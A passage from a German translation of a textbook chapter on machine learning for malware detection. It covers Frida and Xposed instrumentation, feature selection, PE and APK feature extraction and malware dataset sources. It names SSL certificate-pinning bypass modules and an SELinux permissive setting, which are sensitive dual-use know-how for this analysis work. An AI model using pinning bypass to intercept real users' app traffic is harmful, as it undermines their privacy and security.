Da wir die volle Kontrolle über die Laufzeitumgebung der Anwendung haben, können wir einige sehr mächtige Aktionen durchführen, um ihr Verhalten zu beeinflussen und die Extraktion von Funktionen für uns bequemer zu gestalten. Dynamische Instrumentierung ist eine leistungsstarke Technik, um das Laufzeitverhalten einer Anwendung oder der Umgebung zu verändern, indem wir uns in laufende Prozesse einklinken und eigene Logik in die Anwendung einbauen. Frida ist ein einfach zu bedienendes und vollständig skriptfähiges Tool zur dynamischen Binärinstrumentierung, mit dem wir JavaScript-Code in den User Space von nativen Anwendungen auf verschiedenen Plattformen wie Android, iOS, Windows, macOS und Linux einfügen können. Mit Frida können wir einige dynamische Analyse- oder Debugging-Aufgaben automatisieren, ohne alle Syscalls oder Netzwerkzugriffe zu verfolgen oder zu protokollieren. Zum Beispiel können wir mit Frida eine Meldung protokollieren, wenn die Android-App einen open()
-Aufruf tätigt:
> frida-trace -U -i open com.android.chrome Uploading data... open: Auto-generated handler .../linker/open.js open: Auto-generated handler .../libc.so/open.js Started tracing 2 functions. Press Ctrl+C to stop.
Das Xposed Framework geht die dynamische Instrumentierung aus einer ganz anderen Perspektive an. Es instrumentiert die gesamte Dalvik-VM, indem es sich in den Zygote App Launcher Daemon-Prozess einklinkt, der das Herzstück der Android-Laufzeitumgebung ist. Dadurch können Xposed-Module im Kontext von Zygote arbeiten und praktische Aufgaben ausführen, wie z. B. die Umgehung des Zertifikats-Pinning in Anwendungen, indem sie sich in gängige SSL-Klassen einklinken (z. B. javax.net.ssl.*
, org.apache.http.conn.ssl.*
und okhttp3.*
), um die Zertifikatsüberprüfung zu umgehen. Das bereits erwähnte Modul SSLUnpinning
ist ein Beispiel für die vielen von Nutzern beigetragenen Module im Xposed Module Repository.
So wie es Techniken gibt, die die Dekompilierung und Disassemblierung von Android-Apps verhindern, gibt es auch einige Anti-Debug43 und Anti-Hook-Techniken, die das Debuggen von Anwendungen und die dynamische Instrumentierung für Forscher erschweren sollen. Bei einigen fortgeschrittenen Malware-Samples wurde festgestellt, dass sie Code enthalten , der beliebte Process Hooking Frameworks wie Xposed erkennt und diese Prozesse beendet. Mit mehr Zeit und manuellem Aufwand wird es jedoch fast immer möglich sein, Wege zu finden, um Verschleierungstechniken zu umgehen.
Zusammenfassung
Die Beispiele in diesem Abschnitt haben gezeigt, wie mächtig die Werkzeuge sind, die binäre ausführbare Dateien untersuchen und analysieren. Auch wenn du nicht mit den in diesem Kapitel gezeigten Arten von ausführbaren Dateien arbeitest, kennst du jetzt die typischen Kategorien von Tools, die oft als freie und Open-Source-Software verfügbar sind. Obwohl wir uns auf Android-Malware konzentriert haben, gibt es ähnliche Tools auch für andere Arten von Malware. Auch wenn du vielleicht nach anderen Verhaltensmustern als den hier gezeigten suchen musst, ist es nützlich zu wissen, dass Malware sich selbst verrät, indem sie sensible Rechte übernimmt, unerlaubten Netzwerkverkehr durchführt, Dateien an merkwürdigen Orten öffnet und so weiter. Unabhängig davon, ob du bösartige Dokumente, PE-Dateien oder Browser-Erweiterungen analysierst, gelten die allgemeinen Grundsätze der strukturellen, statischen und dynamischen Analyse zur Generierung von Merkmalen immer noch.44
In diesem Abschnitt sind wir an die Aufgabe der Merkmalsgenerierung herangegangen, ohne uns Gedanken darüber zu machen, was wir mit diesen Merkmalen machen, welche Algorithmen für maschinelles Lernen wir verwenden oder welche Relevanz die einzelnen generierten Merkmale haben. Stattdessen haben wir uns darauf konzentriert, so viele verschiedene Arten von beschreibenden Merkmalen wie möglich aus den Binärdateien zu erzeugen. Die Relevanz und Bedeutung der Merkmale hängt stark davon ab, was wir mit dem maschinellen Lernen erreichen wollen. Wenn wir z. B. Malware nach Familien klassifizieren wollen, sind Merkmale, die aus dem dekompilierten Quellcode abgeleitet werden, vielleicht viel wichtiger als das dynamische Netzwerkverhalten, denn es ist für Malware-Autoren viel aufwändiger, den Quellcode umzuschreiben, als die URL oder IP-Adresse eines C&C-Servers zu ändern. Wenn wir hingegen einfach nur bösartige Binärdateien von gutartigen Binärdateien unterscheiden wollen, könnte die Verwendung von Syscall-N-Grammen, angeforderten Berechtigungen oder die statische Analyse verdächtiger Zeichenketten ergiebiger sein als die Untersuchung von Quellcode oder Merkmalen auf Assemblerebene.
Auswahl der Merkmale
In den meisten Fällen führt das blinde Einfügen einer großen Anzahl von Merkmalen in Algorithmen für maschinelles Lernen zu Rauschen und beeinträchtigt die Genauigkeit und Leistung der Modelle. Deshalb ist es wichtig, nur die wichtigsten und relevantesten Merkmale für die Verwendung in Lernalgorithmen auszuwählen. Dieser Prozess wird allgemein als Merkmalsauswahl bezeichnet. Wir können die Merkmalsauswahl manuell vornehmen, wobei wir uns auf unser Fachwissen und die Erkenntnisse aus der Datenexplorationsphase stützen, oder wir können die Merkmale automatisch mithilfe statistischer Methoden und Algorithmen auswählen. Es gibt auch unüberwachte Feature-Learning-Techniken, insbesondere solche, die Deep Learning nutzen.
Eine beliebte Methode zur Auswahl von Merkmalen ist die Nutzung menschlicher Erfahrung. Die Anleitung, die menschliche Experten den maschinellen Lernmodellen geben können, kommt hauptsächlich in Form von manuell beschafften Merkmalen, die als wichtige Informationsaspekte für den menschlichen Lernprozess gelten. Beim Training einer Maschine zur binären Klassifizierung von Vögeln und Säugetieren kann zum Beispiel eine enorme Anzahl von Merkmalen aus jeder Probe (d.h. jedem Tier) generiert werden: Größe, Gewicht, Herkunft, Anzahl der Beine und so weiter. Jedes Kind wird dir jedoch sagen können, dass es ein einziges wichtiges Merkmal gibt, das hilft, Vögel von Säugetieren zu unterscheiden - ob sie Federn haben. Ohne diese menschliche Hilfe könnte der maschinelle Lernalgorithmus immer noch in der Lage sein, eine komplizierte Entscheidungsgrenze im hochdimensionalen Raum zu finden, um eine gute Klassifizierungsgenauigkeit zu erreichen. Das Modell mit menschlicher Unterstützung bei der Merkmalsauswahl ist jedoch viel einfacher und effizienter.
Statistische Algorithmen zur Merkmalsauswahl sind eine beliebte Methode, um die Dimensionalität von Datensätzen zu reduzieren, sowohl mit als auch ohne vorherige manuelle Merkmalsauswahl. Im Folgenden werden diese Methoden in einige Familien eingeteilt:
- Univariate Analyse
-
Eine intuitive und verallgemeinerbare Möglichkeit, ein Merkmal auszuwählen, ist die Überlegung, wie gut das Modell abschneiden würde, wenn es nur dieses Merkmal als Eingabe hätte. Indem wir iterativ univariate statistische Tests für jedes einzelne Merkmal durchführen, können wir einen relativen Wert dafür ableiten, wie gut jedes Merkmal zur Verteilung der Trainingsmarkierungen passt. Scikit-learn stellt einige univariate Analysemethoden zur Verfügung, die nur die aussagekräftigsten Merkmale im Datensatz auswählen. Die Klasse
sklearn.feature_selection.SelectKBest
zum Beispiel behält nur die Merkmale mit den höchsten Werten und nimmt als Argument eine univariate statistische Bewertungsfunktion wie den Chi-Quadrat-Test oder die ANOVA (unter Verwendung des F-Werts).Eine häufige Anwendung der Merkmalsauswahl bei der univariaten Analyse besteht darin, Merkmale zu entfernen, die sich zwischen den Stichproben nicht stark unterscheiden. Wenn ein Merkmal in 99 % der Stichproben den gleichen Wert hat, ist es vielleicht nicht sehr hilfreich, es in die Analyse einzubeziehen. Mit der Klasse
sklearn.feature_selection.VarianceThreshold
kannst du einen Mindestschwellenwert für die Varianz der Merkmale festlegen, die du weiterhin verwenden möchtest. - Rekursive Merkmalseliminierung
-
In der umgekehrten Richtung arbeiten rekursive Methoden der Merkmalseliminierung wie
sklearn.feature_selection.RFE
beginnen mit der vollständigen Merkmalsmenge und berücksichtigen rekursiv immer kleinere Teilmengen von Merkmalen. Dabei wird analysiert, wie sich der Ausschluss von Merkmalen auf die Genauigkeit des vom Forscher vorgelegten Schätzmodells auswirkt. - Latente Merkmalsrepräsentationen
-
Methoden wie die Singular Value Decomposition (SVD) und die Principal Component Analysis (PCA) transformieren hochdimensionale Daten in einen niedrigdimensionalen Datenraum. Diese Algorithmen wurden entwickelt, um den Informationsverlust zu minimieren und gleichzeitig die Anzahl der Merkmale zu reduzieren, die für effektive Machine-Learning-Modelle benötigt werden. Die Klasse
sklearn.decomposition.PCA
extrahiert die Hauptkomponenten aus den Eingangsmerkmalen und eliminiert dann alle bis auf die obersten Komponenten, die die Varianzerfassung des Datensatzes maximieren. Beachte, dass diese Methoden technisch gesehen keine "Merkmalsauswahl" durchführen, weil sie keine Merkmale aus dem ursprünglichen Merkmalsatz heraussuchen, sondern Merkmale ausgeben, die das Ergebnis von Matrixtransformationen sind und nicht unbedingt einer der ursprünglichen Merkmalsdimensionen entsprechen. - Modellspezifisches Feature-Ranking
-
Wenn Algorithmen des maschinellen Lernens auf einen Datensatz angewendet werden, können die daraus resultierenden Schätzmodelle manchmal als symbolische Kombination der Eingangsmerkmale ausgedrückt werden. Bei einem linearen Regressionsmodell, bei dem wir den Wert von Y anhand eines dreidimensionalen Datensatzes vorhersagen (wobei wir die Merkmale als xa, xb und xc bezeichnen), kann das Regressionsmodell beispielsweise durch die folgende Gleichung dargestellt werden (ohne Berücksichtigung von Verzerrungen):
Nach der Trainingsphase werden den Koeffizienten (Gewichten) Wa, Wb und Wc bestimmte Werte zugewiesen. Zum Beispiel:
In diesem Dummy-Beispiel können wir ganz klar erkennen, dass die Merkmale xa und xb viel höhere Koeffizienten haben als xc. Wenn wir davon ausgehen, dass die Merkmale ausreichend normalisiert sind (so dass ihre Werte vergleichbar sind), können wir das Merkmal xc eliminieren, da wir wissen, dass es das Regressionsmodell nicht allzu sehr beeinflussen wird. Regularisierungsmethoden, die dieL1-Norm verwenden, haben naturgemäß viele geschätzte Koeffizienten mit Nullwerten. Die Klasse
sklearn.feature_selection.SelectFromModel
zu verwenden, um diese Merkmale aus dem Datensatz zu eliminieren, ist eine gute Praxis, die zu einem prägnanteren und leistungsfähigeren Schätzmodell führt.SelectFromModel
funktioniert auch für andere maschinelle Lernmodelle, einschließlich baumbasierter Modelle.45 Baumbasierte Klassifizierungsmodelle können eine Metrik für die relative Bedeutung jedes Eingangsmerkmals erstellen, da einige Eingangsmerkmale die Trainingsdaten genauer in die richtigen Klassenlabels aufteilen können als andere.46
Unüberwachtes Feature Learning und Deep Learning
Es gibt eine Klasse von Algorithmen für tiefe neuronale Netze, die automatisch Merkmalsrepräsentationen lernen können, manchmal sogar aus unbeschrifteten Daten. Diese Algorithmen bieten die verlockende Möglichkeit, den Zeitaufwand für das Feature-Engineering, einen der zeitaufwändigsten Schritte beim maschinellen Lernen, erheblich zu reduzieren. Ein neuronales Autocodier-Netzwerk ist ein unbeaufsichtigter Lernalgorithmus, der mit Backpropagation trainiert wird, um ein Netzwerk zu erstellen, das lernt, die Eingangsdaten in der Ausgangsschicht zu replizieren. Das mag trivial erscheinen, aber durch die Schaffung einer versteckten Schicht mit Engpässen im Netzwerk wird das Netzwerk darauf trainiert, eine effiziente Methode zur Komprimierung und Rekonstruktion der Eingabedaten zu erlernen, die den Verlust (d. h. die Differenz) zwischen der Ausgabe und der Eingabe minimiert. Abbildung 4-8 zeigt einen einfachen Autoencoder mit einer versteckten Schicht.
In diesem Beispiel versucht das Netz auf unbeaufsichtigte Weise zu lernen, wie es die Informationen, die für die Rekonstruktion (in der Ausgabeschicht) der fünfdimensionalen Eingabe erforderlich sind, in einen dreidimensionalen Satz von Merkmalen in der verborgenen Schicht komprimieren kann.
Die Daten, die in neuronale Netze eingespeist werden, unterscheiden sich in der Regel von den Daten, die in typische maschinelle Lernmodelle eingespeist werden. Obwohl Algorithmen wie Random Forests und SVMs am besten mit gut kuratierten Merkmalssätzen arbeiten, funktionieren tiefe neuronale Netze am besten, wenn sie so viele verschiedene Rohmerkmale erhalten, wie aus den Daten generiert werden können; anstatt die Merkmale sorgfältig zu entwerfen, lassen wir den Lernalgorithmus die Merkmale für uns erstellen.
Deep Learning/Unsupervised Feature Learning ist ein aktiver Forschungsbereich, der sich deutlich von anderen Ansätzen des maschinellen Lernens unterscheidet. Obwohl es in diesem Bereich viele theoretische Arbeiten gibt, wurde die Methode in der Praxis noch nicht häufig eingesetzt. In diesem Buch gehen wir nicht sehr detailliert auf Deep Learning ein; für eine umfassendere Behandlung verweisen wir auf die vielen ausgezeichneten Fachbücher zu diesem Thema , wie z. B. Deep Learning von Ian Goodfellow, Yoshua Bengio und Aaron Courville (MIT Press).
Von Merkmalen zur Klassifizierung
Die Automatisierung der Merkmalsextraktion ist eine Aufgabe für sich. Um aus Rohdaten wie Binärdateien einen mit Merkmalen versehenen Datensatz zu erstellen, ist ein gewisses Maß an Skripting und Programmierung erforderlich. Wir gehen hier nicht zu sehr ins Detail, da die Aufgabe stark von der Art der Daten und dem Ziel der Klassifizierung abhängt, mit denen du arbeitest. Stattdessen verweisen wir dich auf ein paar hervorragende Beispiele für bewährte Open-Source-Projekte, die dich zu diesem Thema inspirieren können:
youarespecial
von Hyrum Anderson, Endgame Inc.-
Der Code in diesem Repository begleitet einen Vortrag von Hyrum Anderson und enthält einige großartige Merkmale und Deep-Learning-Code für die Malware-Klassifizierung von Windows PE-Binärdateien. Insbesondere die Klasse
PEFeatureExtractor
extrahiert einen umfassenden Satz statischer Merkmale, darunter auch "Rohmerkmale", die kein Parsing der PE-Datei erfordern, wie z. B. die folgenden:- Byte-Histogramm
-
Ein Histogramm der Verteilung der Byte-Werte in der Binärdatei
- Byte-Entropie-Histogramm
-
Ein zweidimensionales Entropie-Histogramm von Bytes, das sich der "gemeinsamen Wahrscheinlichkeit von Byte-Wert und lokaler Entropie" annähert47
- Strings
-
Ein Array mit Statistiken über Strings, die aus dem rohen Bytestrom extrahiert wurden - definiert durch mehr als fünf aufeinanderfolgende Zeichen, die ASCII-Werte zwischen
0x20
(space
) und0x7f
(del
) haben, oder spezielle Strings wieC:\
,HKEY_
,http://
- wie z. B. die Anzahl der Strings, die durchschnittliche Stringlänge, die Anzahl derC:\
Pfade, URL-Instanzen, Registrierungsschlüssel und das Histogramm der String-Zeichenverteilung
und "geparste Merkmale" wie diese:
- Allgemeine Datei-Infos
-
Detaillierte Angaben zur PE-Datei, z. B. ob sie mit Debugsymbolen kompiliert wurde, die Anzahl der exportierten/importierten Funktionen usw.
- Header-Datei-Infos
-
Details aus dem Header-Abschnitt der PE-Datei, die sich auf die Maschine, die Architektur, das Betriebssystem, den Linker und so weiter beziehen
- Abschnitt Info
-
Informationen über die Abschnittsnamen, Größen und Entropie der Binärdatei
- Infos zu den Importen
-
Informationen über importierte Bibliotheken und Funktionen, die von der PE-Datei verwendet werden können
- Infos zum Exportieren
-
Informationen über die exportierten Funktionen der PE-Datei
Hier ist ein kurzer Codeschnipsel, der zeigt, wie du mit PEFeatureExtractor
ganz einfach eine Liste mit relevanten Merkmalen erstellen kannst, die die PE-Datei beschreiben:
import
os
from
pefeatures
import
PEFeatureExtractor
extractor
=
PEFeatureExtractor
()
bytez
=
open
(
'VirusShare_00233/VirusShare_fff8d8b91ec865ebe4a960a0ad3c470d,
'rb'
)
.
read
()
feature_vector
=
extractor
.
extract
(
bytez
)
(
feature_vector
)
>
[
1.02268000e+05
3.94473345e-01
1.79919427e-03
...
,
0.00000000e+00
0.00000000e+00
0.00000000e+00
]
ApkFile
von Caleb Fenton-
ApkFile ist eine Java-Bibliothek, die für APK-Dateien das tut, was
PEFeatureExtractor
für PE-Dateien tut. Sie bietet eine "robuste Möglichkeit, feindliche Malware-Samples zu untersuchen", indem sie statische Informationen auf verschiedenen Ebenen wie dem Manifest, der .dex-Struktur und dem dekompilierten Code offenlegt. Ähnlich wie im vorherigen Beispiel ermöglicht die API der Bibliothek eine einfache Skripterstellung und Automatisierung, um einen Feature-Vektor aus einer großen Bibliothek von APK-Dateien zu extrahieren. - LIEF von Quarkslab
-
PEFeatureExtractor
verwendet LIEF (Library to Instrument Executable Formats), um PE-Dateien zu analysieren. LIEF ist eine viel leistungsfähigere und flexiblere Bibliothek, die ELF-, PE- und MachO-Formate parst, modifiziert und abstrahiert. Mit minimalem Aufwand kannst duPEFeatureExtractor
bearbeiten und deine eigeneELFFeatureExtractor
erstellen, indem du dielief.PE
API-Nutzung durchlief.ELF
APIs ersetzt, die die Bibliothek zur Verfügung stellt.
Wie man Malware-Proben und Kennzeichnungen erhält
Die Beschaffung von Binärdateien/Ausführungsdateien zum Trainieren von Klassifikatoren kann eine große Herausforderung sein. John Seymour (@_delta_zero) hat eine kurze Liste von Malware-Datensätzen zusammengestellt , die für das Training von Klassifikatoren verwendet werden können:
-
VirusTotal ist eine sehr beliebte Quelle für Malware-Samples und strukturierte Analysen und bietet eine Reihe von Produkten an, die von der Virenanalyse auf Abruf bis hin zu einer API reichen, mit der man Informationen über eine Malware auf der Grundlage des Hashes der Binärdatei erhalten kann. Für den Zugang zu den meisten Diensten ist ein privater API-Schlüssel erforderlich (der Geld kostet), und die Proben/Labels sind mit Lizenzklauseln versehen.
-
Malware-Traffic-Analysis.net ist ein kleiner Datensatz mit 600 stark analysierten Malware-Samples und PCAP-Dateien. Der Datensatz ist etwas zu klein, um einen Klassifikator für maschinelles Lernen zu trainieren, aber er ist eine gute Ressource, um mit Funktionen zu experimentieren und etwas über Malware zu lernen.
-
VirusShare.com ist ein riesiges (~30 Millionen Samples zum Zeitpunkt der Erstellung dieses Artikels) und kostenloses Malware-Repository, das Sicherheitsforschern Live-Samples zur Verfügung stellt (verteilt über Torrent). Der Zugang zu den Samples wird nur über eine Einladung gewährt, die du aber per E-Mail an die Administratoren der Seite anfordern kannst. John Seymour und das MLSec-Projekt sind federführend bei der Kennzeichnung von VirusShare-Samples mit detaillierten Informationen zu jeder Datei und veröffentlichen diese Kennzeichnungen in einer gebündelten Ressource, die von SecRepo.com aus verlinkt werden kann (Samples of Security Related Data - eine weitere großartige Ressource für Sicherheitsdatensätze).
-
VX Heaven, ein in akademischen Kontexten beliebter Datensatz, enthält rund 270.000 Malware-Samples, die in etwa 40 Klassen eingeteilt sind. Die Proben wurden seit etwa 10 Jahren nicht mehr aktualisiert, du kannst also nicht davon ausgehen, dass sie repräsentativ für moderne Malware sind.
-
Kaggle und Microsoft haben 2015 eine Malware Classification Challenge veranstaltet und den Teilnehmern etwa 10.000 PE-Malware-Samples zur Verfügung gestellt (PE-Header entfernt, damit die Samples nicht live sind). Die Samples sind zum Zeitpunkt der Erstellung dieses Artikels immer noch verfügbar, aber die Kaggle-Bedingungen beschränken die Nutzung des Datensatzes auf diesen speziellen Wettbewerb.
Bei der Erstellung eines guten Datensatzes für die Malware-Klassifizierung gibt es viele Feinheiten, die den Rahmen dieses Buches sprengen würden. Wir empfehlen dringend, die von John Seymour, Hyrum Anderson, Joshua Saxe und Konstantin Berlin veröffentlichten Ressourcen zu lesen, um dieses Thema zu vertiefen .
Fazit
Die Entwicklung von Merkmalen ist einer der wichtigsten, aber auch frustrierendsten und zeitaufwändigsten Teile der Entwicklung von Machine-Learning-Lösungen. Um effektive Merkmale aus einer Rohdatenquelle zu entwickeln, reicht es nicht aus, nur ein Spezialist für Datenwissenschaft oder maschinelles Lernen zu sein. Umfassendes Fachwissen im Anwendungsbereich ist eine wertvolle und sogar entscheidende Voraussetzung, die über die Entwicklung von maschinellen Lernlösungen für ein bestimmtes Problem entscheiden kann. Im Sicherheitsbereich, in dem viele Anwendungsbereiche von maschinellem Lernen profitieren können, erfordert jeder Bereich eine andere Art von Fachwissen. In diesem Kapitel haben wir das Feature Engineering für Sicherheitsanwendungen des maschinellen Lernens analysiert. Wir haben uns eingehend mit der Analyse binärer Malware und dem Reverse Engineering als Beispiel für die Merkmalsextraktion befasst und eine Reihe allgemeiner Grundsätze entwickelt, die wir auf andere Anwendungen des maschinellen Lernens im Sicherheitsbereich anwenden können.
In Kapitel 5 sehen wir uns an, wie wir eine Reihe von extrahierten Merkmalen verwenden können, um eine Klassifizierung und ein Clustering durchzuführen.
1 Wir gehen in den Kapiteln 2, 3 und 5 ausführlich auf statistische Lernmethoden wie Klassifizierung, Clustering und Anomalieerkennung ein.
2 Wenn wir in diesem Kapitel den Begriff Binärdaten verwenden, beziehen wir uns auf ein Datenformat, das ausschließlich aus Nullen und Einsen besteht. Jede einzelne 0/1-Einheit wird als Bit bezeichnet, und jeder aufeinanderfolgende Satz von acht Bits wird als Byte bezeichnet. In modernen Computersystemen sind Binärdateien gang und gäbe, und Softwarefunktionen wandeln diese Bit/Byte-Darstellung in höhere Informationsabstraktionen um, die von anderer Software (Assemblerbefehle, unkomprimierte Dateien usw.) interpretiert oder auf einer Benutzeroberfläche (Text, Bilder, Audio usw.) angezeigt werden können.
3 WAV (oder WAVE) ist ein Standard-Audiodateiformat für die Speicherung von Audio-Bitströmen auf Computern.
4 Zum Beispiel: Practical Malware Analysis von Michael Sikorski und Andrew Honig (No Starch Press) und Michael Hale Ligh et al.'s Malware Analyst's Cookbook (Wiley).
5 Ein Makro ist eine Reihe von Befehlen zur Automatisierung bestimmter, sich wiederholender Aufgaben im Rahmen von Anwendungen wie Microsoft Word oder Excel. Makro-Malware war in den 1990er Jahren weit verbreitet und nutzte die Automatisierungsfunktionen dieser beliebten Programme, um bösartigen Code auf dem Computer des Opfers auszuführen. Makro-Malware hat in den letzten Jahren ein Comeback erlebt, das oft durch Social-Engineering-Kampagnen vorangetrieben wird, um eine weite Verbreitung zu erreichen.
6 Es gibt einen feinen Unterschied zwischen Metamorphismus und Polymorphismus bei Malware. Polymorphe Malware besteht in der Regel aus zwei Teilen: der Kernlogik, die die Infektion durchführt, und einem weiteren, umhüllenden Teil, der verschiedene Formen der Ver- und Entschlüsselung verwendet, um den Infektionscode zu verstecken. Metamorphe Malware injiziert, arrangiert, implementiert neu, fügt hinzu und entfernt Code in der Malware. Da die Infektionslogik zwischen den einzelnen Entwicklungsstufen der Malware nicht verändert wird, ist es vergleichsweise einfacher, polymorphe Malware zu erkennen als metamorphe Malware.
7 Zu den Sprachen, die üblicherweise (aber nicht ausschließlich) kompiliert werden, gehören C/C++, Go und Haskell.
8 Zu den Sprachen mit Bytecode-Interpretern gehören Python, Ruby, Smalltalk und Lua.
9 Java ist ein interessantes Beispiel für eine beliebte Sprache, die je nach Implementierung sowohl als kompilierte als auch als interpretierte Sprache betrachtet werden kann. Java verwendet einen zweistufigen Kompilierungsprozess: Der von Menschen geschriebene Java-Quellcode wird zunächst vom Java-Compiler in Bytecode kompiliert, der dann von der Java Virtual Machine (JVM) ausgeführt wird. Die meisten modernen JVMs nutzen die JIT-Kompilierung, um diesen Bytecode in native Maschinenbefehle zu übersetzen, die direkt auf der Hardware ausgeführt werden. In einigen anderen JVM-Implementierungen kann der Bytecode direkt von einer virtuellen Maschine interpretiert werden, ähnlich wie bei rein interpretierten Sprachen.
10 Den Code für dieses Beispiel findest du in chapter4/code-exec-eg/c in unserem Code-Repository.
11 In diesem Beispiel wurde insbesondere die GCC-Version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) verwendet.
12 Es gibt viele gute Bücher zum Erlernen von Assembler, darunter Assembly Language Step-by-Step: Programming with Linux, 3. Aufl., von Jeff Duntemann (Wiley) und The Art of Assembly Language, 2. Aufl., von Randall Hyde (No Starch Press).
13 Um eine Binärdatei auf Unix-Systemen auszuführen, müssen wir der Datei die Ausführungserlaubnis erteilen. chmod
ist der Befehl und Systemaufruf, mit dem die Zugriffsrechte für Unix-Dateien geändert werden können, und das Argument +x
zeigt an, dass wir dieser Datei die "Ausführungserlaubnis" erteilen wollen.
14 Meistens verwenden Unix und seine Derivate (wie Linux und das moderne macOS) den Begriff "Shared Libraries" (oder Shared Objects) für dynamische Bibliotheken, während Windows den Begriff "dynamically linked libraries" (DLLs) verwendet. In einigen Sprachumgebungen (z. B. Lua) gibt es einen feinen Unterschied zwischen gemeinsam genutzten Bibliotheken und dynamischen Bibliotheken: Eine gemeinsam genutzte Bibliothek oder ein gemeinsam genutztes Objekt ist eine besondere Art von dynamischer Bibliothek, von der nur eine Kopie zwischen laufenden Prozessen ausgetauscht wird.
15 Nicht zu verwechseln mit Cython, einer in C geschriebenen Erweiterung der Sprache Python, die es dir ermöglicht, auf externe C-Bibliotheken zuzugreifen.
16 Den Code für dieses Beispiel findest du in chapter4/code-exec-eg/python in unserem Code-Repository.
17 Wenn Python-Code mit aktivierten Optimierungen kompiliert wird, wird eine.pyo-Datei erstellt. Diese .pyo-Datei ist im Wesentlichen dasselbe wie eine .pyc-Datei.
18 Kompilierte Dateien werden als Optimierung erstellt, um die Startzeit des Programms zu beschleunigen. In Python-Versionen kleiner als 3.2 werden die automatisch erzeugten .pyc-Dateien im selben Verzeichnis wie die Hauptdatei .py erstellt. In späteren Versionen werden diese Dateien in einem Pycache-Unterverzeichnis erstellt und erhalten je nach Python-Interpreter, der sie erstellt hat, andere Namen.
19 Die Umwandlung von Python-Opcodes in Maschinenbefehlscode durch den CPython-Interpreter ist recht einfach. Eine Bit-Switch-Anweisung wandelt jede Python-Opcode-Zeile in C-Code um, der dann auf der Zielmaschine ausgeführt werden kann, nachdem der Assembler ihn in Maschinencode übersetzt hat.
20 Android-Telefone machten im Jahr 2016 81,7 % der weltweiten Smartphone-Verkäufe an Endverbraucher aus.
21 Diese Beobachtung bedeutet nicht unbedingt, dass Android-Geräte grundsätzlich weniger sicher sind als iOS-Geräte. Jedes Betriebssystem hat seine eigenen dokumentierten Sicherheitsprobleme. Android und iOS verkörpern klare philosophische Unterschiede in Bezug auf die Offenheit von Software und die Überprüfung von Anwendungen, und es ist nicht offensichtlich, welches System besser ist. Es gibt eine vergleichbare Anzahl von Sicherheitslücken in beiden Betriebssystemen, und die Sicherheitsstrategie jedes Ökosystems hat Vor- und Nachteile.
22 Die Android-Binär-APK-Datei und die dekompilierten Dateien findest du im Ordner chapter4/datasets in unserem Code-Repository.
23 Die Dateierweiterung .odex wird auch für gültige ausführbare Dalvik-Dateien verwendet, die sich dadurch auszeichnen, dass sie optimierten Dalvik-Bytecode enthalten. Nach der Ablösung von Dalvik durch die Android Runtime wurden .odex-Dateien obsolet und werden nicht mehr verwendet. ART verwendet die AOT-Kompilierung (AOT = ahead of time) - bei derInstallation wird der .dex-Code in .oat-Dateien zu nativem Code kompiliert, die die .odex-Dateien von Dalvik ersetzen.
24 Die Berechtigungen WRITE_SECURE_SETTINGS
und READ_LOGS
werden Drittanbieteranwendungen, die auf nicht gerooteten Android-Geräten laufen, in der Regel nicht gewährt. ACCESS_MTK_MMHW
ist eine Berechtigung, die den Zugriff auf einen bestimmten FM-Radio-Chip in einigen Geräten ermöglicht. Anwendungen, die verdächtige oder obskure Berechtigungen wie diese anfordern, machen sich wahrscheinlich böswilliger Aktivitäten schuldig. Das bedeutet aber nicht zwangsläufig, dass die Anwendung böswillig ist, wenn sie obskure Berechtigungen anfordert.
25 Das Argument inform
ist die Abkürzung für "Eingabeformat" und ermöglicht es dir, das Eingabeformat des Zertifikats anzugeben.
26 Ein n-Gramm ist eine zusammenhängende Folge von n Elementen aus einer längeren Folge von Elementen. Zum Beispiel sind 3-Gramme der Folge {1,2,3,4,5} {1,2,3}, {2,3,4} und {3,4,5}.
27 B. Kang, S.Y. Yerima, K. Mclaughlin und S. Sezer, "N-opcode Analysis for Android Malware Classification and Categorization", Proceedings of the 2016 International Conference on Cyber Security and Protection of Digital Services (2016): 1-7.
28 Ein Buch mit Dokumentation und Tutorials für radare2 ist online verfügbar.
29 Ein Einstiegspunkt ist der Punkt im Code, an dem die Kontrolle vom Betriebssystem an das Programm übergeben wird.
30 Die PLT ist eine Tabelle mit Offsets/Mappings, die von ausführbaren Programmen verwendet wird, um externe Funktionen und Prozeduren aufzurufen, deren Adressen zum Zeitpunkt des Linkens noch nicht zugewiesen sind. Die endgültige Adressauflösung dieser externen Funktionen wird vom dynamischen Linker zur Laufzeit vorgenommen.
31 Das radare2 Projekt hat einen Spickzettel mit häufig verwendeten Befehlen.
32 Zum Beispiel: Practical Malware Analysis von Michael Sikorski und Andrew Honig (No Starch Press) und Reverse Engineering for Beginners von Dennis Yurichev(https://beginners.re/).
33 Das Modul SSLUnpinning
im Xposed Framework ermöglicht die Umgehung des SSL-Zertifikat-Pinings in Android-Apps. Es gibt weitere ähnliche Module, wie z. B. JustTrustMe
.
34 Du kannst mitmdump verwenden, um die Aufzeichnungen in eine Datei zu schreiben, damit du den Datenverkehr programmgesteuert in einem Format erfassen kannst, das für die automatische Nachbearbeitung geeignet ist.
35 Xi Xiao et al., "Identifying Android Malware with System Call Co-occurrence Matrices", Transactions on Emerging Telecommunications Technologies 27 (2016) 675-684.
36 Marko Dimjasevic et al., "Android Malware Detection Based on System Calls," Proceedings of the 2016 ACM International Workshop on Security and Privacy Analytics (2016): 1-8.
37 Lifan Xu et al., "Dynamic Android Malware Classification Using Graph-Based Representations", Proceedings of IEEE 3rd International Conference on Cyber Security and Cloud Computing (2016): 220-231.
38 strace
existiert nicht oder funktioniert nicht auf einigen Android-Distributionen auf bestimmten Plattformen. jtrace
ist ein kostenloses Tool, das sich als "erweitertes, Android-kompatibles strace
" bezeichnet und Android-spezifische Informationen bereitstellt, die über die allgemeine und manchmal schwer zu analysierende Ausgabe von strace
hinausgehen.
39 Wenn du eine neuere Version des Android-Betriebssystems verwendest und SELinux aktiviert ist, kann es passieren, dass die Strace-Operation mit einem Berechtigungsfehler fehlschlägt. Die einzige Möglichkeit, dies zu umgehen, ist, das androidboot.selinux=permissive
Flag für Android SELinux -userdebug
und -eng
zu setzen oder ein strace
-freundlicheres Gerät zu verwenden.
40 Dieses Beispiel findest du in chapter4/secret.py in unserem Code Repository.
41 Es gibt eine Handvoll Tools von Drittanbietern, die den Schritt des Signierens von APK-Dateien für die Debug-Ausführung zum Kinderspiel machen. Ein Beispiel ist der Uber APK Signer.
42 Der TrendLabs Security Intelligence Blog bietet eine gute Anleitung für die Verwendung von KGDB.
